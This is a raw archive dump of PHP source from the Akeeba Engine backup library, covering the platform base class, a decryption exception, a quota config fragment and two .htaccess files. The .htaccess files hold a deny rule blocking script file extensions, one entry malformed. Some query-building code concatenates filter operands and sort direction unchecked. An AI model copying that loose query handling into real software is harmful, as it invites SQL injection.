	public function getProxySettings();

	/**
	 * Set the proxy configuration for this platform
	 *
	 * @param   false   $useProxy  Should I use a proxy at all?
	 * @param   string  $host      Proxy hostname or IP address
	 * @param   int     $port      Proxy port
	 * @param   string  $username  Proxy username. Optional. Leavel blank to turn off authentication.
	 * @param   string  $password  Proxy password.
	 *
	 * @return  void
	 * @since   9.0.7
	 */
	public function setProxySettings($useProxy = false, $host = '', $port = 8080, $username = '', $password = '');
}
PK     \st;y  ;y  -  vendor/akeeba/engine/engine/Platform/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Platform;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Mysqli;
use Akeeba\Engine\Driver\QueryException;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform\Exception\DecryptionException;
use Akeeba\Engine\Util\ProfileMigration;
use DateTime;
use DateTimeZone;
use Exception;
use RuntimeException;

abstract class Base implements PlatformInterface
{
	/** @var array Configuration overrides */
	public $configOverrides = [];

	/** @var bool Should I throw an exception when settings decryption fails? */
	public $decryptionException = false;

	/** @var string The name of the platform (same as the directory name) */
	public $platformName = null;

	/** @var int Priority of this platform. A lower number denotes higher priority. */
	public $priority = 50;

	/** @var string The name of the table where backup profiles are stored */
	public $tableNameProfiles = '#__ak_profiles';

	/** @var string The name of the table where backup records are stored */
	public $tableNameStats = '#__ak_stats';

	/** @var bool Have I initialised the proxy configuration settings? */
	protected $hasInitialisedProxySettings = false;

	/** @var bool Should I use a proxy? */
	protected $proxyEnabled = false;

	/** @var string Proxy hostname or IP address */
	protected $proxyHost = '';

	/** @var string Proxy password; only applied with a non-empty username */
	protected $proxyPass = '';

	/** @var int Proxy port */
	protected $proxyPort = 8080;

	/** @var string Proxy username; empty means no authentication */
	protected $proxyUser = '';

	/**
	 * Completely removes a backup statistics record
	 *
	 * @param   int  $id  Backup record ID
	 *
	 * @return bool True on success
	 */
	public function delete_statistics($id)
	{
		$db    = Factory::getDatabase($this->get_platform_database_options());
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->delete($db->qn($this->tableNameStats))
			->where($db->qn('id') . ' = ' . $db->q($id));
		$db->setQuery($query);

		$result = true;
		try
		{
			$db->query();
		}
		catch (Exception $exc)
		{
			$result = false;
		}

		return $result;
	}

	public function getPlatformDirectories()
	{
		return [dirname(__FILE__) . '/' . $this->platformName];
	}

	public function getPlatformVersion()
	{
		return [
			'name'    => 'Platform',
			'version' => 'unknown',
		];
	}

	/**
	 * @inheritdoc
	 */
	public final function getProxySettings()
	{
		if (!$this->hasInitialisedProxySettings)
		{
			$this->detectProxySettings();
		}

		return [
			'enabled' => $this->proxyEnabled ?? false,
			'host'    => $this->proxyHost ?: '',
			'port'    => $this->proxyPort ?: 8080,
			'user'    => $this->proxyUser ?: '',
			'pass'    => $this->proxyPass ?: '',
		];
	}

	public function get_active_profile()
	{
		return 1;
	}

	public function get_administrator_emails()
	{
		return [];
	}

	public function get_backup_origin()
	{
		return 'backend';
	}

	public function get_default_database_driver($use_platform = true)
	{
		return Mysqli::class;
	}

	public function get_host()
	{
		return '';
	}

	public function get_installer_images_path()
	{
		return '';
	}

	public function get_local_timestamp($format)
	{
		$dateNow = new DateTime('now', new DateTimeZone('UTC'));

		return $dateNow->format($format);
	}

	public function get_platform_configuration_option($key, $default)
	{
		return '';
	}

	public function get_platform_database_options()
	{
		return [];
	}

	public function get_profile_name($id = null)
	{
		return '';
	}

	/**
	 * Returns an array with the specifics of running backups
	 *
	 * @param   string  $tag
	 *
	 * @return  array   Array list of associative arrays
	 * @throws  QueryException
	 *
	 */
	public function get_running_backups($tag = null)
	{
		$db    = Factory::getDatabase($this->get_platform_database_options());
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('*')
			->from($db->qn($this->tableNameStats))
			->where($db->qn('status') . ' = ' . $db->q('run'))
			->where(' NOT ' . $db->qn('archivename') . ' = ' . $db->q(''));
		if (!empty($tag))
		{
			$query->where($db->qn('origin') . ' LIKE ' . $db->q($tag . '%'));
		}
		$db->setQuery($query);

		return $db->loadAssocList();
	}

	public function get_site_name()
	{
		return '';
	}

	public function get_site_root()
	{
		return '';
	}

	/**
	 * Loads and returns a backup statistics record as a hash array
	 *
	 * @param   int  $id  Backup record ID
	 *
	 * @return array
	 */
	public function get_statistics($id)
	{
		$db    = Factory::getDatabase($this->get_platform_database_options());
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('*')
			->from($db->qn($this->tableNameStats))
			->where($db->qn('id') . ' = ' . $db->q($id));
		$db->setQuery($query);

		return $db->loadAssoc();
	}

	/**
	 * Return the total number of statistics records
	 *
	 * @param   array  $filters  An array of filters to apply to the results. Alternatively, you can just pass a
	 *                           profile ID to filter by that profile.
	 *
	 * @return  int
	 */
	function get_statistics_count($filters = null)
	{
		$db = Factory::getDatabase($this->get_platform_database_options());

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true));

		if (!empty($filters))
		{
			if (is_array($filters))
			{
				// Parse the filters array
				foreach ($filters as $f)
				{
					$clause  = $db->quoteName($f['field']);
					$operand = strtoupper($f['operand'] ?? '=');

					switch ($operand)
					{
						case 'BETWEEN':
						case 'NOT BETWEEN':
							$clause .= $operand . ' ' . $db->q($f['value']) . ' AND ' . $db->q($f['value2']);
							break;

						case 'LIKE':
						case 'NOT LIKE':
							$clause .= $operand . ' ' . '\'%' . $db->escape($f['value']) . '%\'';
							break;

						case 'IN':
						case 'NOT IN':
							$clause .= ' ' . $operand . ' (' . implode(', ', array_map([$db, 'quote'], array_filter($f['value']))) . ')';
							break;

						case 'EMPTY':
							$field = $db->quoteName($f['field']);
							$empty = $db->quote('');
							$clause = "($field IS NULL OR $field = $empty)";

						default:
							$clause .= $operand . ' ' . $db->q($f['value']);
							break;
					}

					$query->where($clause);
				}
			}
			else
			{
				// Legacy mode: profile ID given
				$query->where($db->qn('profile_id') . ' = ' . $db->q($filters));
			}
		}

		$query->select('COUNT(*)')
			->from($db->quoteName($this->tableNameStats));
		$db->setQuery($query);

		return $db->loadResult();
	}

	/**
	 * Returns a list of backup statistics records, respecting the pagination
	 *
	 * The $config array allows the following options to be set:
	 * limitstart    int        Offset in the recordset to start from
	 * limit        int        How many records to return at once
	 * filters        array    An array of filters to apply to the results. Alternatively you can just pass a profile
	 * ID to filter by that profile. order        array    Record ordering information (by and ordering)
	 *
	 * @return array
	 */
	function &get_statistics_list($config = [])
	{
		$defaultConfiguration = [
			'limitstart' => 0,
			'limit'      => 0,
			'filters'    => [],
			'order'      => null,
		];
		$config               = (object) array_merge($defaultConfiguration, $config);

		$db = Factory::getDatabase($this->get_platform_database_options());

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true));

		if (!empty($config->filters))
		{
			if (is_array($config->filters))
			{
				if (!empty($config->filters))
				{
					// Parse the filters array
					foreach ($config->filters as $f)
					{
						$clause  = $db->qn($f['field']);
						$operand = array_key_exists('operand', $f) ? strtoupper($f['operand']) : '=';

						if ($operand == 'BETWEEN')
						{
							$clause .= ' BETWEEN ' . $db->q($f['value']) . ' AND ' . $db->q($f['value2']);
						}
						elseif ($operand == 'LIKE')
						{
							$clause .= ' LIKE \'%' . $db->escape($f['value']) . '%\'';
						}
						elseif ($operand == 'IN')
						{
							$values = is_array($f['value']) ? $f['value'] : [$f['value']];
							$clause .= ' IN (' . implode(', ', array_map([$db, 'q'], $values)) . ')';
						}
						elseif ($operand == 'EMPTY')
						{
							$clause = '(' . $db->qn($f['field']) . ' IS NULL OR ' . $db->qn($f['field']) . " = '')";
						}
						else
						{
							$clause .= ' ' . $operand . ' ' . $db->q($f['value']);
						}

						$query->where($clause);
					}
				}
			}
			else
			{
				// Legacy mode: profile ID given
				$query->where($db->qn('profile_id') . ' = ' . $db->q($config->filters));
			}
		}

		if (empty($config->order) || !is_array($config->order))
		{
			$config->order = [
				'by'    => 'id',
				'order' => 'DESC',
			];
		}

		$query->select('*')
			->from($db->qn($this->tableNameStats))
			->order($db->qn($config->order['by']) . " " . strtoupper($config->order['order']));

		$db->setQuery($query, $config->limitstart, $config->limit);

		$list = $db->loadAssocList();

		return $list;
	}

	public function get_stock_directories()
	{
		return [];
	}

	public function get_timestamp_database($date = 'now')
	{
		return '';
	}

	/**
	 * Multiple backup attempts can share the same backup file name. Only
	 * the last backup attempt's file is considered valid. Previous attempts
	 * have to be deemed "obsolete". This method returns a list of backup
	 * statistics ID's with "valid"-looking names. IT DOES NOT CHECK FOR THE
	 * EXISTENCE OF THE BACKUP FILE!
	 *
	 * @param   bool    $useprofile  If true, it will only return backup records of the current profile
	 * @param   array   $tagFilters  Which tags to include; leave blank for all. If the first item is "NOT", then all
	 *                               tags EXCEPT those listed will be included.     *
	 * @param   string  $ordering
	 *
	 * @return  array A list of ID's for records w/ "valid"-looking backup files
	 * @throws  QueryException
	 *
	 */
	public function &get_valid_backup_records($useprofile = false, $tagFilters = [], $ordering = 'DESC')
	{
		$db = Factory::getDatabase($this->get_platform_database_options());

		$query2 = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('MAX(' . $db->qn('id') . ') AS ' . $db->qn('id'))
			->from($db->qn($this->tableNameStats))
			->where($db->qn('status') . ' = ' . $db->q('complete'))
			->group($db->qn('absolute_path'));

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('id'))
			->from($db->qn($this->tableNameStats))
			->where($db->qn('filesexist') . ' = ' . $db->q(1))
			->where($db->qn('id') . ' IN (' . $query2 . ')')
			->where('NOT ' . $db->qn('absolute_path') . ' = ' . $db->q(''))
			->order($db->qn('id') . ' ' . $ordering);

		if ($useprofile)
		{
			$profile_id = $this->get_active_profile();
			$query->where($db->qn('profile_id') . " = " . $db->q($profile_id));
		}

		if (!empty($tagFilters))
		{
			$operator = '';
			$first    = array_shift($tagFilters);
			if ($first == 'NOT')
			{
				$operator = 'NOT';
			}
			else
			{
				array_unshift($tagFilters, $first);
			}

			$quotedTags = [];
			foreach ($tagFilters as $tag)
			{
				$quotedTags[] = $db->q($tag);
			}
			$filter = implode(', ', $quotedTags);
			unset($quotedTags);
			$query->where($operator . ' ' . $db->quoteName('tag') . ' IN (' . $filter . ')');
		}

		$db->setQuery($query);
		$array = $db->loadColumn();

		return $array;
	}

	/**
	 * Gets a list of records with remotely stored files in the selected remote storage
	 * provider and profile.
	 *
	 * @param $profile int (optional) The profile to use. Skip or use null for active profile.
	 * @param $engine  string (optional) The remote engine to looks for. Skip or use null for the active profile's
	 *                 engine.
	 *
	 * @return array
	 */
	public function get_valid_remote_records($profile = null, $engine = null)
	{
		$config = Factory::getConfiguration();
		$result = [];

		if (is_null($profile))
		{
			$profile = $this->get_active_profile();
		}
		if (is_null($engine))
		{
			$engine = $config->get('akeeba.advanced.postproc_engine', '');
		}

		if (empty($engine))
		{
			return $result;
		}

		$db  = Factory::getDatabase($this->get_platform_database_options());
		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('*')
			->from($db->qn($this->tableNameStats))
			->where($db->qn('profile_id') . ' = ' . $db->q($profile))
			->where($db->qn('remote_filename') . ' LIKE ' . $db->q($engine . '://%'))
			->order($db->qn('id') . ' DESC');

		$db->setQuery($sql);

		return $db->loadAssocList();
	}

	/**
	 * Marks the specified backup records as having no files
	 *
	 * @param   array  $ids  Array of backup record IDs to ivalidate
	 */
	public function invalidate_backup_records($ids)
	{
		if (empty($ids))
		{
			return false;
		}
		$db   = Factory::getDatabase($this->get_platform_database_options());
		$temp = [];
		foreach ($ids as $id)
		{
			$temp[] = $db->q($id);
		}
		$list = implode(',', $temp);
		$sql  = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->qn($this->tableNameStats))
			->set($db->qn('filesexist') . ' = ' . $db->q('0'))
			->where($db->qn('id') . ' IN (' . $list . ')');;
		$db->setQuery($sql);

		try
		{
			$db->query();
		}
		catch (Exception $exc)
		{
			return false;
		}

		return true;
	}

	public function isThisPlatform()
	{
		return true;
	}

	/**
	 * Loads the current configuration off the database table
	 *
	 * @param   int   $profile_id  The profile where to read the configuration from, defaults to current profile
	 * @param   bool  $reset       Should I reset the Configuration object before loading the profile? Default: true.
	 *
	 * @return  bool  True if everything was read properly
	 */
	public function load_configuration($profile_id = null, $reset = true)
	{
		// Load the database class
		$db = Factory::getDatabase($this->get_platform_database_options());

		// Get the active profile number, if no profile was specified
		if (is_null($profile_id))
		{
			$profile_id = $this->get_active_profile();
		}

		// Initialize the registry
		$registry = Factory::getConfiguration();

		if ($reset)
		{
			/**
			 * I need to unset the protected keys to perform a full reset.
			 *
			 * If I do not, what I am getting is the default profile's values for all protected keys. That's because the
			 * engine always loads profile #1 before trying to load the current backup profile. This is not what I want,
			 * though. Profile #1 is meant to be a fallback if the current profile ID no longer exists (deleted), not if
			 * it's incomplete! Incomplete backup profiles are supposed to fall back to the default values coming from
			 * the configuration areas' JSON files.
			 */
			$pKeys = $registry->getProtectedKeys();

			$registry->resetProtectedKeys();
			$registry->reset();
			$registry->setProtectedKeys($pKeys);
		}

		// Is the database connected?
		if (!$db->connected())
		{
			return false;
		}

		try
		{
			// Load the INI format local configuration dump off the database
			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->select($db->qn('configuration'))
				->from($db->qn($this->tableNameProfiles))
				->where($db->qn('id') . ' = ' . $db->q($profile_id));

			$databaseData = $db->setQuery($sql)->loadResult();
		}
		catch (Exception $e)
		{
			$databaseData = null;
		}

		/**
		 * If the profile is not the default and we can't load anything let's switch back to the default profile.
		 *
		 * You will end up here when you have opened the application in two different browsers and Browser A is used to
		 * delete the active profile you were using with Browser B. If we were not to load the default profile Browser B
		 * would try to save the default configuration data to the deleted profile. However, since the profile does not
		 * exist in the database any more the load_configuration at the end of the following if-block would trigger the
		 * same code path, recursively, infinitely until you reached the maximum nesting level in PHP, run out of memory
		 * or hit the execution time limit.
		 */
		if ((empty($databaseData) || is_null($databaseData)) && ($profile_id != 1))
		{
			return $this->load_configuration(1);
		}

		if (empty($databaseData) || is_null($databaseData))
		{
			// No configuration was saved yet - store the defaults
			$saved = $this->save_configuration($profile_id);

			// If this is the case we probably don't have the necessary table. Throw an exception.
			if (!$saved)
			{
				throw new RuntimeException("Could not save data to backup profile #$profile_id", 500);
			}

			return $this->load_configuration($profile_id);
		}

		// Decrypt the data if required
		$secureSettings = Factory::getSecureSettings();
		$noData         = empty($databaseData);
		$signature      = ($noData || (strlen($databaseData) < 12)) ? '' : substr($databaseData, 0, 12);
		$parsedData     = [];

		/**
		 * Special case: profile data is encrypted but encryption is set to false. This means that the user has just
		 * asked for the encryption to be disabled. We have to NOT load the settings so that the application has the
		 * chance to decode the data and write the decoded data back to the database.
		 */

		if (!$secureSettings->supportsEncryption() && in_array($signature, ['###AES128###', '###CTR128###']))
		{
			$dataArray = ['volatile' => ['fake_decrypt_flag' => 1]];
		}
		else
		{
			$databaseData        = $secureSettings->decryptSettings($databaseData);
			$isMigrationRequired = false; // Do I have to migrate the data from INI to JSON
			$corruptedINI        = false; // Is the INI data corrupted?

			// Handle legacy, INI-encoded data
			if (ProfileMigration::looksLikeIni($databaseData))
			{
				$isMigrationRequired = true;
				$corruptedINI        = strpos($databaseData, '[akeeba]') === false;
				$databaseData        = ProfileMigration::convertINItoJSON($databaseData);
			}

			// Detect corrupt JSON data
			$corruptedJSON = strpos($databaseData, '"akeeba"') === false;

			// Did the decryption fail and we were asked to throw an exception?
			if ($this->decryptionException && !$noData)
			{
				// The decryption failed, it returned empty data
				if (!$isMigrationRequired && empty($databaseData))
				{
					throw new DecryptionException(
						$this->translate('COM_AKEEBA_CONFIG_ERR_DECRYPTION') .
						"\nAdditional info: Empty data after decryption."
					);
				}

				// We tried to migrate but the INI data is corrupt
				if ($isMigrationRequired && $corruptedINI)
				{
					throw new DecryptionException(
						$this->translate('COM_AKEEBA_CONFIG_ERR_DECRYPTION') .
						"\nAdditional info: old format INI data was corrupt and could not be migrated to JSON."
					);
				}

				// We tried to migrate but the resulting JSON data is corrupt
				if ($isMigrationRequired && $corruptedJSON)
				{
					throw new DecryptionException(
						$this->translate('COM_AKEEBA_CONFIG_ERR_DECRYPTION') .
						"\nAdditional info: JSON data was corrupt after migrating it from INI data."
					);
				}

				// We decrypted something but it does not look like JSON. Wrong encryption key?
				if ($corruptedJSON)
				{
					throw new DecryptionException(
						$this->translate('COM_AKEEBA_CONFIG_ERR_DECRYPTION') .
						"\nAdditional info: configuration JSON data was corrupt after decryption."
					);
				}
			}

			$dataArray = json_decode($databaseData, true);
		}

		unset($databaseData);

		if (!is_array($dataArray))
		{
			$dataArray = [];
		}

		foreach ($dataArray as $section => $row)
		{
			if ($section == 'volatile')
			{
				continue;
			}

			$row = $this->arrayToRegistryDefinitions($row);

			if (is_array($row) && !empty($row))
			{
				foreach ($row as $key => $value)
				{
					$parsedData["$section.$key"] = $value;
				}
			}
		}

		unset($dataArray);

		// Import the configuration array
		$protected_keys = $registry->getProtectedKeys();
		$registry->resetProtectedKeys();
		$registry->mergeArray($parsedData, false, false);

		// Old profiles have advanced.proc_engine instead of advanced.postproc_engine. Migrate them.
		$procEngine = $registry->get('akeeba.advanced.proc_engine', null);

		if (!empty($procEngine))
		{
			$registry->set('akeeba.advanced.postproc_engine', $procEngine);
			$registry->set('akeeba.advanced.proc_engine', null);
		}

		// Apply config overrides
		if (is_array($this->configOverrides) && !empty($this->configOverrides))
		{
			$registry->mergeArray($this->configOverrides, false, false);
		}

		$registry->setProtectedKeys($protected_keys);
		$registry->activeProfile = $profile_id;

		return true;
	}

	/**
	 * Returns the filter data for the entire filter group collection
	 *
	 * @return array
	 */
	public function &load_filters()
	{
		// Load the filter data from the database
		$profile_id = $this->get_active_profile();
		$db         = Factory::getDatabase($this->get_platform_database_options());

		// Load the INI format local configuration dump off the database
		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('filters'))
			->from($db->qn($this->tableNameProfiles))
			->where($db->qn('id') . ' = ' . $db->q($profile_id));
		$db->setQuery($sql);
		$all_filter_data = $db->loadResult();

		if (is_null($all_filter_data) || empty($all_filter_data))
		{
			$all_filter_data = [];

			return $all_filter_data;
		}

		if (ProfileMigration::looksLikeSerialized($all_filter_data))
		{
			$all_filter_data = ProfileMigration::convertSerializedToJSON($all_filter_data);
		}

		$all_filter_data = json_decode($all_filter_data, true);

		// Catch unserialization errors
		if (empty($all_filter_data))
		{
			$all_filter_data = [];
		}

		return $all_filter_data;
	}

	public function load_version_defines()
	{
	}

	public function log_platform_special_directories()
	{
	}

	public function move($from, $to)
	{
		$result = @rename($from, $to);
		if (!$result)
		{
			$result = @copy($from, $to);
			if ($result)
			{
				$result = $this->unlink($from);
			}
		}

		return $result;
	}

	public function register_autoloader()
	{
	}

	/**
	 * Invalidates older records sharing the same $archivename
	 *
	 * @param   string  $archivename
	 */
	public function remove_duplicate_backup_records($archivename)
	{
		Factory::getLog()->debug("Removing any old records with $archivename filename");
		$db = Factory::getDatabase($this->get_platform_database_options());

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('id'))
			->from($db->qn($this->tableNameStats))
			->where($db->qn('archivename') . ' = ' . $db->q($archivename))
			->order($db->qn('id') . ' DESC');

		$db->setQuery($query);
		$array = $db->loadColumn();

		Factory::getLog()->debug((is_array($array) || $array instanceof \Countable ? count($array) : 0) . " records found");

		// No records?! Quit.
		if (empty($array))
		{
			return;
		}
		// Only one record. Quit.
		if ((is_array($array) || $array instanceof \Countable ? count($array) : 0) == 1)
		{
			return;
		}

		// Shift the first (latest) element off the array
		$currentID = array_shift($array);

		// Invalidate older records
		$this->invalidate_backup_records($array);
	}

	/**
	 * Saves the current configuration to the database table
	 *
	 * @param   int  $profile_id  The profile where to save the configuration to, defaults to current profile
	 *
	 * @return    bool    True if everything was saved properly
	 */
	public function save_configuration($profile_id = null)
	{
		// Load the database class
		$db = Factory::getDatabase($this->get_platform_database_options());

		if (!$db->connected())
		{
			return false;
		}

		// Get the active profile number, if no profile was specified
		if (is_null($profile_id))
		{
			$profile_id = $this->get_active_profile();
		}

		// Get an INI format registry dump
		$registry     = Factory::getConfiguration();
		$dump_profile = $registry->exportAsJSON();

		// Encrypt the registry dump if required
		$secureSettings = Factory::getSecureSettings();
		$dump_profile   = $secureSettings->encryptSettings($dump_profile);

		// Does the record already exist?
		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('COUNT(*)')
			->from($db->qn($this->tableNameProfiles))
			->where($db->qn('id') . ' = ' . $db->q($profile_id));

		try
		{
			$count  = $db->setQuery($sql)->loadResult();
			$exists = ($count > 0);
		}
		catch (Exception $e)
		{
			$exists = true;
		}

		if ($exists)
		{
			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->update($db->qn($this->tableNameProfiles))
				->set($db->qn('configuration') . ' = ' . $db->q($dump_profile))
				->where($db->qn('id') . ' = ' . $db->q($profile_id));
		}
		else
		{
			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->insert($db->qn($this->tableNameProfiles))
				->columns([
					$db->qn('id'), $db->qn('description'), $db->qn('configuration'),
					$db->qn('filters'), $db->qn('quickicon'),
				])
				->values(
					$db->q(1) . ', ' .
					$db->q("Default backup profile") . ', ' .
					$db->q($dump_profile) . ', ' .
					$db->q('') . ', ' .
					$db->q(1)
				);
		}

		$db->setQuery($sql);

		try
		{
			$result = $db->query();
		}
		catch (Exception $exc)
		{
			return false;
		}

		return ($result == true);
	}

	/**
	 * Saves the nested filter data array $filter_data to the database
	 *
	 * @param   array  $filter_data  The filter data to save
	 *
	 * @return    bool    True on success
	 */
	public function save_filters(&$filter_data)
	{
		$profile_id = $this->get_active_profile();
		$db         = Factory::getDatabase($this->get_platform_database_options());

		$encodedFilterData = json_encode($filter_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_FORCE_OBJECT | JSON_PRETTY_PRINT);

		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->qn($this->tableNameProfiles))
			->set($db->qn('filters') . '=' . $db->q($encodedFilterData))
			->where($db->qn('id') . ' = ' . $db->q($profile_id));

		try
		{
			$db->setQuery($sql)->query();
		}
		catch (Exception $exc)
		{
			return false;
		}

		return true;
	}

	public function send_email($to, $subject, $body, $attachFile = null)
	{
		return false;
	}

	/** @inheritdoc */
	public final function setProxySettings($useProxy = false, $host = '', $port = 8080, $username = '', $password = '')
	{
		$host = trim($host);
		$port = (int) $port;

		$this->hasInitialisedProxySettings = true;
		$this->proxyEnabled                = $useProxy && !empty($host) && ($port > 0) && ($port < 65536);
		$this->proxyHost                   = $host;
		$this->proxyPort                   = $port;
		$this->proxyUser                   = trim($username ?? '') ?: '';
		$this->proxyPass                   = trim($password ?? '') ?: '';
	}

	/**
	 * Creates or updates the statistics record of the current backup attempt
	 *
	 * @param   int    $id    Backup record ID, use null for new record
	 * @param   array  $data  The data to store
	 *
	 * @return int|null The new record id, or null if this doesn't apply
	 *
	 * @throws Exception On database error
	 */
	public function set_or_update_statistics($id = null, $data = [])
	{
		// No valid data?
		if (!is_array($data))
		{
			return null;
		}

		// No data at all?
		if (empty($data))
		{
			return null;
		}

		$db = Factory::getDatabase($this->get_platform_database_options());

		$tableFields = $db->getTableColumns($this->tableNameStats);
		$tableFields = array_keys($tableFields);

		if (is_null($id))
		{
			// Create a new record
			$sql_fields = [];
			$sql_values = '';

			foreach ($data as $key => $value)
			{
				if (!in_array($key, $tableFields))
				{
					continue;
				}

				$sql_fields[] = $db->qn($key);
				$sql_values   .= (!empty($sql_values) ? ',' : '') . $db->quote($value);
			}

			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->insert($db->quoteName($this->tableNameStats))
				->columns($sql_fields)
				->values($sql_values);

			$db->setQuery($sql);
			$db->query();

			return $db->insertid();
		}
		else
		{
			$sql_set = [];
			foreach ($data as $key => $value)
			{
				if ($key == 'id')
				{
					continue;
				}

				$sql_set[] = $db->qn($key) . '=' . $db->q($value);
			}
			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->update($db->qn($this->tableNameStats))
				->set($sql_set)
				->where($db->qn('id') . '=' . $db->q($id));
			$db->setQuery($sql);
			$db->query();

			return null;
		}
	}

	public function translate($key)
	{
		return '';
	}

	public function unlink($file)
	{
		return @unlink($file);
	}

	/**
	 * Flattens a hierarchical array to a set of registry keys.
	 *
	 * For example
	 * [ 'foo' => [ 'bar' => [ 'baz' => 1, 'bat' => 2 ] ] ]
	 * becomes
	 * [ 'foo.bar.baz' => 1, 'foo.bar.bat' => 2 ]
	 *
	 * @param   array   $array   The array to flatten
	 * @param   string  $prefix  The prefix to use (leave blank; it's used in recursive calls)
	 *
	 * @return  array  An array with flattened keys
	 *
	 * @since   6.4.1
	 */
	protected function arrayToRegistryDefinitions(array $array, $prefix = '')
	{
		$keys = [];

		foreach ($array as $k => $v)
		{
			if (is_array($v))
			{
				$keys = array_merge($keys, $this->arrayToRegistryDefinitions($v, $prefix . $k . "."));

				continue;
			}

			$keys[$prefix . $k] = $v;
		}

		return $keys;
	}

	/**
	 * Automatically-detect the proxy settings for this platform.
	 *
	 * Implement this method to detect the proxy settings. Use $this->setProxysettings() to apply them.
	 *
	 * This method is called by getProxySettings automatically. You do NOT need to call it yourself when initialising
	 * the platform.
	 *
	 * @return  void
	 * @since   9.0.7
	 */
	protected function detectProxySettings()
	{

	}
}
PK     \J~ŋ    F  vendor/akeeba/engine/engine/Platform/Exception/DecryptionException.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Platform\Exception;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Platform;
use Exception;
use RuntimeException;

/**
 * Thrown when the settings cannot be decrypted, e.g. when the server no longer has encyrption enabled or the key has
 * changed.
 */
class DecryptionException extends RuntimeException
{
	public function __construct($message = null, $code = 500, ?Exception $previous = null)
	{
		if (empty($message))
		{
			$message = Platform::getInstance()->translate('COM_AKEEBA_CONFIG_ERR_DECRYPTION');
		}

		parent::__construct($message, $code, $previous);
	}

}
PK     \Sʉ      8  vendor/akeeba/engine/engine/Platform/Exception/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      .  vendor/akeeba/engine/engine/Platform/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \˱'U  U  .  vendor/akeeba/engine/engine/Core/04.quota.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBA_CONFIG_HEADER_QUOTA"
    },
    "akeeba.quota.maxage.enable": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.quota.obsolete_quota": {
        "default": "50",
        "type": "integer",
        "min": "0",
        "max": "500",
        "shortcuts": "1|10|20|30|40|50",
        "scale": "1",
        "uom": "items",
        "title": "COM_AKEEBA_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBA_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.enable_logfiles": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_LOGFILES_TITLE",
        "description": "COM_AKEEBA_CONFIG_LOGFILES_DESCRIPTION"
    },
    "akeeba.quota.logfiles.type": {
        "default": "count",
        "type": "enum",
        "protected": "1",
